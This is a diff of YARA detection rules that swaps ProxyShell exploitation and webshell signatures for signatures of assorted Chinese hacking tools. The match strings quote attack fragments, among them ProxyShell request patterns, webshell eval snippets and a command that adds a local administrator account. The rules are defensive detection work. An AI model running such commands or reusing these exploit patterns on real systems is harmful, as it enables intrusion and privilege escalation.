+		id = "78db3b18-008a-5a4e-9504-0cbe3b852046"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1489-L1506"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7d8753f56fc48413fc68102cff34b6583cb0066c"
+		logic_hash = "eb0a425be0fff87eb58689a4eee4b6729e8ee985e6224790111322d4b182caf1"
+		score = 75
 		quality = 85
-		tags = "SCRIPT"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$xr1 = / \/autodiscover\/autodiscover\.json[^\n]{1,300}\/(powershell|mapi\/nspi|EWS\/|X-Rps-CAT)[^\n]{1,400}401 0 0/ nocase ascii
-		$xr3 = /Email=autodiscover\/autodiscover\.json[^\n]{1,400}401 0 0/ nocase ascii
+		$s1 = "SHELL" ascii
+		$s2 = "PacketSendPacket" fullword ascii
+		$s3 = "ArpSniff" ascii
+		$s4 = "pcap_loop" fullword ascii
+		$s5 = "packet.dll" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <120KB and all of them
 }
-rule SIGNATURE_BASE_EXPL_Exchange_Proxyshell_Successful_Aug21_1 : SCRIPT
+rule SIGNATURE_BASE_Pw_Inspector_2 : FILE
 {
 	meta:
-		description = "Detects successful ProxyShell exploitation attempts in log files"
+		description = "Chinese Hacktool Set - file pw-inspector.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8c11cd1a-6d3f-5f29-af61-17179b01ca8b"
-		date = "2021-08-08"
-		modified = "2021-08-09"
-		reference = "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxyshell.yar#L18-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "06ab609a8efe3b36b6356a9cf7b7b11b2fc2a556ec1df6995008a9df86b3fcee"
-		score = 85
-		quality = 83
-		tags = "SCRIPT"
+		id = "795c7009-93a8-57c4-8554-f0ed5c1d50f8"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1508-L1524"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e0a1117ee4a29bb4cf43e3a80fb9eaa63bb377bf"
+		logic_hash = "7d2021ff471f03deb9e6d8b62fcb218ae3198f21fd7b8fa1fdd9b96228b8c2f8"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$xr1a = / \/autodiscover\/autodiscover\.json[^\n]{1,300}\/(powershell|X-Rps-CAT)/ nocase ascii
-		$xr1b = / \/autodiscover\/autodiscover\.json[^\n]{1,300}\/(mapi\/nspi|EWS\/)[^\n]{1,400}(200|302) 0 0/
-		$xr2 = /autodiscover\/autodiscover\.json[^\n]{1,60}&X-Rps-CAT=/ nocase ascii
-		$xr3 = /Email=autodiscover\/autodiscover\.json[^\n]{1,400}200 0 0/ nocase ascii
+		$s1 = "Use for hacking: trim your dictionary file to the pw requirements of the target." fullword ascii
+		$s2 = "Syntax: %s [-i FILE] [-o FILE] [-m MINLEN] [-M MAXLEN] [-c MINSETS] -l -u -n -p " ascii
+		$s3 = "PW-Inspector" fullword ascii
+		$s4 = "i:o:m:M:c:lunps" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <100KB and 2 of them
 }
-rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Aug21_2 : FILE
+rule SIGNATURE_BASE_Datpcshare : FILE
 {
 	meta:
-		description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be PST), size and content"
+		description = "Chinese Hacktool Set - file datPcShare.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a351a466-695e-570e-8c7f-9c6c0534839c"
-		date = "2021-08-13"
+		id = "1bf44c0d-6aa7-5486-baee-c17d3e82403f"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-are-getting-hacked-via-proxyshell-exploits/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxyshell.yar#L36-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4ede197d482f0a9e553ba857b5049e7b7405e3df92460e19418fa0653c844982"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1526-L1542"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "87acb649ab0d33c62e27ea83241caa43144fc1c4"
+		logic_hash = "15297a8019192371032fc11b966d1a89d951c176da6d64e80ca5a201f55341c0"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Page Language=" ascii nocase
+		$s1 = "PcShare.EXE" fullword wide
+		$s2 = "MZKERNEL32.DLL" fullword ascii
+		$s3 = "PcShare" fullword wide
+		$s4 = "QQ:4564405" fullword wide
 
 	condition:
-		uint32(0)==0x4e444221 and filesize <2MB and $s1
+		uint16(0)==0x5a4d and filesize <500KB and all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Aug21_3 : FILE
+rule SIGNATURE_BASE_Tools_Xport : FILE
 {
 	meta:
-		description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be DER), size and content"
-		author = "Max Altgelt"
-		id = "a7bca62b-c8f1-5a38-81df-f3d4582a590b"
-		date = "2021-08-23"
+		description = "Chinese Hacktool Set - file xport.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3223fe5b-6135-5530-a5eb-10c44f3f6277"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/gossithedog/status/1429175908905127938?s=12"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxyshell.yar#L51-L65"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f071aaa8918b359f786f2ac7447eeaedb5a6fca9e0a0c0e8820e011244424503"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1544-L1565"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9584de562e7f8185f721e94ee3cceac60db26dda"
+		logic_hash = "9eea73732643f74b4802af0672f5c3ab09cc54cfecd80f8903efc26b7ceaec29"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Page Language=" ascii nocase
+		$s1 = "Match operate system failed, 0x%00004X:%u:%d(Window:TTL:DF)" fullword ascii
+		$s2 = "Example: xport www.xxx.com 80 -m syn" fullword ascii
+		$s3 = "%s - command line port scanner" fullword ascii
+		$s4 = "xport 192.168.1.1 1-1024 -t 200 -v" fullword ascii
+		$s5 = "Usage: xport <Host> <Ports Scope> [Options]" fullword ascii
+		$s6 = ".\\port.ini" fullword ascii
+		$s7 = "Port scan complete, total %d port, %d port is opened, use %d ms." fullword ascii
+		$s8 = "Code by glacier <glacier@xfocus.org>" fullword ascii
+		$s9 = "http://www.xfocus.org" fullword ascii
 
 	condition:
-		uint16(0)==0x8230 and filesize <10KB and $s1
+		uint16(0)==0x5a4d and filesize <100KB and 2 of them
 }
-rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Sep21_1 : FILE
+rule SIGNATURE_BASE_Pc_Xai : FILE
 {
 	meta:
-		description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be PST) and base64 decoded request"
-		author = "Tobias Michalski"
-		id = "d0d23e17-6b6a-51d1-afd9-59cc2404bcd8"
-		date = "2021-09-17"
+		description = "Chinese Hacktool Set - file xai.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dcf1b57b-3616-5198-bd57-18505fee91ae"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxyshell.yar#L67-L81"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "219468c10d2b9d61a8ae70dc8b6d2824ca8fbe4e53bbd925eeca270fef0fd640"
-		logic_hash = "233ec15dff8da5f2beaa931eb06849aa37e548947c1068d688a1695d977605d8"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1567-L1586"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f285a59fd931ce137c08bd1f0dae858cc2486491"
+		logic_hash = "80659fcf1721b20f459ac0480401bdf643c95b46118d03320bc6d4e4ee4b67f7"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s = ".FromBase64String(Request["
+		$s1 = "Powered by CoolDiyer @ C.Rufus Security Team 05/19/2008  http://www.xcodez.com/" fullword wide
+		$s2 = "%SystemRoot%\\System32\\" ascii
+		$s3 = "%APPDATA%\\" ascii
+		$s4 = "---- C.Rufus Security Team ----" fullword wide
+		$s5 = "www.snzzkz.com" fullword wide
+		$s6 = "%CommonProgramFiles%\\" ascii
+		$s7 = "GetRand.dll" fullword ascii
 
 	condition:
-		uint32(0)==0x4e444221 and any of them
+		uint16(0)==0x5a4d and filesize <3000KB and all of them
 }
-rule SIGNATURE_BASE_APT_IIS_Config_Proxyshell_Artifacts : FILE
+rule SIGNATURE_BASE_Radmin_Hash : FILE
 {
 	meta:
-		description = "Detects virtual directory configured in IIS pointing to a ProgramData folder (as found in attacks against Exchange servers in August 2021)"
+		description = "Chinese Hacktool Set - file Radmin_Hash.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "21888fc0-82c6-555a-9320-9cbb8332a843"
-		date = "2021-08-25"
+		id = "07761e81-15b4-5639-b766-8dc3f16e2b7a"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxyshell.yar#L83-L106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a4557694629448d258b8b2fefc278e059217560e7a0ec3279863a16fb9b3989c"
-		score = 90
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1588-L1605"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "be407bd5bf5bcd51d38d1308e17a1731cd52f66b"
+		logic_hash = "d6ee13a2ed30bb44471593386521f67be0d6ccd6f8a0ebf8557012a099f81d3d"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "<site name=" ascii
-		$a2 = "<sectionGroup name=\"system.webServer\">" ascii
-		$sa1 = " physicalPath=\"C:\\ProgramData\\COM" ascii
-		$sa2 = " physicalPath=\"C:\\ProgramData\\WHO" ascii
-		$sa3 = " physicalPath=\"C:\\ProgramData\\ZING" ascii
-		$sa4 = " physicalPath=\"C:\\ProgramData\\ZOO" ascii
-		$sa5 = " physicalPath=\"C:\\ProgramData\\XYZ" ascii
-		$sa6 = " physicalPath=\"C:\\ProgramData\\AUX" ascii
-		$sa7 = " physicalPath=\"C:\\ProgramData\\CON\\" ascii
-		$sb1 = " physicalPath=\"C:\\Users\\All Users\\" ascii
+		$s1 = "<description>IEBars</description>" fullword ascii
+		$s2 = "PECompact2" fullword ascii
+		$s3 = "Radmin, Remote Administrator" fullword wide
+		$s4 = "Radmin 3.0 Hash " fullword wide
+		$s5 = "HASH1.0" fullword wide
 
 	condition:
-		filesize <500KB and all of ($a*) and 1 of ($s*)
+		uint16(0)==0x5a4d and filesize <600KB and all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Exploitation_Aug21_1 : FILE
+rule SIGNATURE_BASE_Oseditor : FILE
 {
 	meta:
-		description = "Detects unknown malicious loaders noticed in August 2021"
+		description = "Chinese Hacktool Set - file OSEditor.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1fa563fc-c91c-5f4e-98f1-b895e1acb4f4"
-		date = "2021-08-25"
+		id = "b308852c-3436-5748-9ba6-82d4c3c5fc14"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/VirITeXplorer/status/1430206853733097473"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxyshell.yar#L108-L120"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8a2417bb85c7f91d98143d2f4c26d30416b3a01ba8abc1445ccfae5609825b4d"
-		score = 90
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1607-L1624"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6773c3c6575cf9cfedbb772f3476bb999d09403d"
+		logic_hash = "6531c0b3c0f6123d9eda34ed028f05054e4805e5c329da4b29e4f37f9b5fc1b2"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = ");eval/*asf" ascii
+		$s1 = "OSEditor.exe" fullword wide
+		$s2 = "netsafe" wide
+		$s3 = "OSC Editor" fullword wide
+		$s4 = "GIF89" ascii
+		$s5 = "Unlock" ascii
 
 	condition:
-		filesize <600KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Aug15 : FILE
+rule SIGNATURE_BASE_Goodtoolset_Ms11011 : FILE
 {
 	meta:
-		description = "Webshells iisstart.aspx and Logout.aspx"
-		author = "Moritz Oettle"
-		id = "b1e6c0f3-787f-59b8-8123-4045522047ca"
-		date = "2021-09-04"
+		description = "Chinese Hacktool Set - file ms11011.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "689b7ea3-6707-5f99-8232-438d903d414d"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxyshell.yar#L122-L146"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7e2e2f9add5932d28074a252a8e326dd728442df28abc02e8d026d773dd4aa05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1626-L1642"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5ad7a4962acbb6b0e3b73d77385eb91feb88b386"
+		logic_hash = "99dd27eba7da44c71098446e17abfe626de91e899e28c2d2e99e7b54b9e0c825"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$g1 = "language=\"JScript\"" ascii
-		$g2 = "function getErrorWord" ascii
-		$g3 = "errorWord" ascii
-		$g4 = "Response.Redirect" ascii
-		$g5 = "function Page_Load" ascii
-		$g6 = "runat=\"server\"" ascii
-		$g7 = "Request[" ascii
-		$g8 = "eval/*" ascii
-		$s1 = "AppcacheVer" ascii
-		$s2 = "clientCode" ascii
-		$s3 = "LaTkWfI64XeDAXZS6pU1KrsvLAcGH7AZOQXjrFkT816RnFYJQR" ascii
+		$s0 = "\\i386\\Hello.pdb" ascii
+		$s1 = "OS not supported." fullword ascii
+		$s3 = "Not supported." fullword wide
+		$s4 = "SystemDefaultEUDCFont" fullword wide
+
+	condition:
+		uint16(0)==0x5a4d and filesize <100KB and all of them
+}
+rule SIGNATURE_BASE_Freeversion_Release : FILE
+{
+	meta:
+		description = "Chinese Hacktool Set - file release.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1a603634-a00a-5f8b-a47d-c3c8065a5c3e"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1644-L1662"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f42e4b5748e92f7a450eb49fc89d6859f4afcebb"
+		logic_hash = "38722afb3b955aced2e68e2048a3268722524f61784dcb45c6a695b5684230eb"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+
+	strings:
+		$s1 = "-->Got WMI process Pid: %d " ascii
+		$s2 = "This exploit will execute \"net user " ascii
+		$s3 = "net user temp 123456 /add & net localgroup administrators temp /add" fullword ascii
+		$s4 = "Running reverse shell" ascii
+		$s5 = "wmiprvse.exe" fullword ascii
+		$s6 = "SELECT * FROM IIsWebInfo" fullword ascii
 
 	condition:
-		filesize <1KB and (1 of ($s*) or 4 of ($g*))
+		uint16(0)==0x5a4d and filesize <100KB and 3 of them
 }
-rule SIGNATURE_BASE_WEBSHELL_Mailbox_Export_PST_Proxyshell_Aug26 : FILE
+rule SIGNATURE_BASE_Churrasco : FILE
 {
 	meta:
-		description = "Webshells generated by an Mailbox export to PST and stored as aspx: 570221043.aspx 689193944.aspx luifdecggoqmansn.aspx"
-		author = "Moritz Oettle"
-		id = "6aea414f-d27c-5202-84f8-b8620782fc90"
-		date = "2021-09-04"
+		description = "Chinese Hacktool Set - file churrasco.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "99cb5a7a-85c1-57f5-b5b6-f0b1092e1e06"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxyshell.yar#L148-L174"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "07acbf74a4bf169fc128cd085759f33e89917e217703b3c6557ba5f954822fd4"
-		score = 85
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1664-L1681"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a8d4c177948a8e60d63de9d0ed948c50d0151364"
+		logic_hash = "36ca7c8d1579eeb571c182c033c312b3b231313b8950c1e24eeb3df793b004c4"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "!BDN"
-		$g1 = "Page language=" ascii
-		$g2 = "<%@ Page" ascii
-		$g3 = "Request.Item[" ascii
-		$g4 = "\"unsafe\");" ascii
-		$g5 = "<%eval(" ascii
-		$g6 = "script language=" ascii
-		$g7 = "Request[" ascii
-		$s1 = "gold8899" ascii
-		$s2 = "exec_code" ascii
-		$s3 = "orangenb" ascii
+		$s1 = "Done, command should have ran as SYSTEM!" ascii
+		$s2 = "Running command with SYSTEM Token..." ascii
+		$s3 = "Thread impersonating, got NETWORK SERVICE Token: 0x%x" ascii
+		$s4 = "Found SYSTEM token 0x%x" ascii
+		$s5 = "Thread not impersonating, looking for another thread..." ascii
 
 	condition:
-		filesize <500KB and $x1 at 0 and (1 of ($s*) or 3 of ($g*))
+		uint16(0)==0x5a4d and filesize <150KB and 2 of them
 }
-rule SIGNATURE_BASE_SUSP_IIS_Config_Proxyshell_Artifacts : FILE
+rule SIGNATURE_BASE_X64_Kiwicmd : FILE
 {
 	meta:
-		description = "Detects suspicious virtual directory configured in IIS pointing to a ProgramData folder (as found in attacks against Exchange servers in August 2021)"
+		description = "Chinese Hacktool Set - file KiwiCmd.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bde65d9e-b17d-5746-8d29-8419363d0511"
-		date = "2021-08-25"
+		id = "df759fd4-5d42-5dd9-81d0-ceccafcdd64d"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxyshell.yar#L181-L196"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f2822a2b762c8e683c5e3a3f4a8232faa187b9a36182ea71e5286158b0e8115c"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1682-L1697"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
+		logic_hash = "b49a70a49a67fbb57d643b38155482177f594bd1f01f5464c4f36b265aac48d8"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "<site name=" ascii
-		$a2 = "<sectionGroup name=\"system.webServer\">" ascii
-		$s1 = " physicalPath=\"C:\\ProgramData\\" ascii
+		$s1 = "Process Ok, Memory Ok, resuming process :)" fullword wide
+		$s2 = "Kiwi Cmd no-gpo" fullword wide
+		$s3 = "KiwiAndCMD" fullword wide
 
 	condition:
-		filesize <500KB and all of ($a*) and 1 of ($s*)
+		uint16(0)==0x5a4d and filesize <400KB and 2 of them
 }
-rule SIGNATURE_BASE_SUSP_IIS_Config_Virtualdir : FILE
+rule SIGNATURE_BASE_Sql1433_SQL : FILE
 {
 	meta:
-		description = "Detects suspicious virtual directory configured in IIS pointing to a User folder"
+		description = "Chinese Hacktool Set - file SQL.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cfe5ca5e-a0cc-5f60-84d2-1b0538e999c7"
-		date = "2021-08-25"
-		modified = "2022-09-17"
-		reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxyshell.yar#L198-L218"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0b9be085957f368bc1890c42e3f1e8b974eed8c77ecb4d2ba6add4d877a9b488"
-		score = 60
+		id = "fb4c5958-2e4e-5231-b0db-eca6bc3d823a"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1699-L1715"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "025e87deadd1c50b1021c26cb67b76b476fafd64"
+		logic_hash = "5ceecc4f345cb603a0b03180f3f09f97e5f951b5d75c469aefffe3ec62916a8f"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "<site name=" ascii
-		$a2 = "<sectionGroup name=\"system.webServer\">" ascii
-		$s2 = " physicalPath=\"C:\\Users\\" ascii
-		$fp1 = "Microsoft.Web.Administration" wide
-		$fp2 = "<virtualDirectory path=\"/\" physicalPath=\"C:\\Users\\admin\\"
+		$s0 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 31 00 34 00 33 00 33 }
+		$s1 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 31 00 2C 00 34 00 2C 00 33 00 2C 00 33 }
 
 	condition:
-		filesize <500KB and all of ($a*) and 1 of ($s*) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <90KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_ASPX_Possibledropperartifact_Aug21 : FILE
+rule SIGNATURE_BASE_Cookietools2 : FILE
 {
 	meta:
-		description = "Detects an ASPX file with a non-ASCII header, often a result of MS Exchange drop techniques"
-		author = "Max Altgelt"
-		id = "52016598-74a1-53d6-812a-40b078ba0bb9"
-		date = "2021-08-23"
+		description = "Chinese Hacktool Set - file CookieTools2.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f227ba4b-9cad-5aac-99ab-46a8237249d4"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxyshell.yar#L220-L250"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7e2fc61897ed859d5165aca7360d8a27891f842a7a8e4894af3926427ac95ceb"
-		score = 60
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1717-L1733"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cb67797f229fdb92360319e01277e1345305eb82"
+		logic_hash = "8ddb8ea0bc047877d91f25375745ab8fa66af28b6b41de36e0fb16ea8284fce5"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Page Language=" ascii nocase
-		$fp1 = "Page Language=\"java\"" ascii nocase
+		$s1 = "www.gxgl.com&www.gxgl.net" fullword wide
+		$s2 = "ip.asp?IP=" fullword ascii
+		$s3 = "MSIE 5.5;" fullword ascii
+		$s4 = "SOFTWARE\\Borland\\" ascii
 
 	condition:
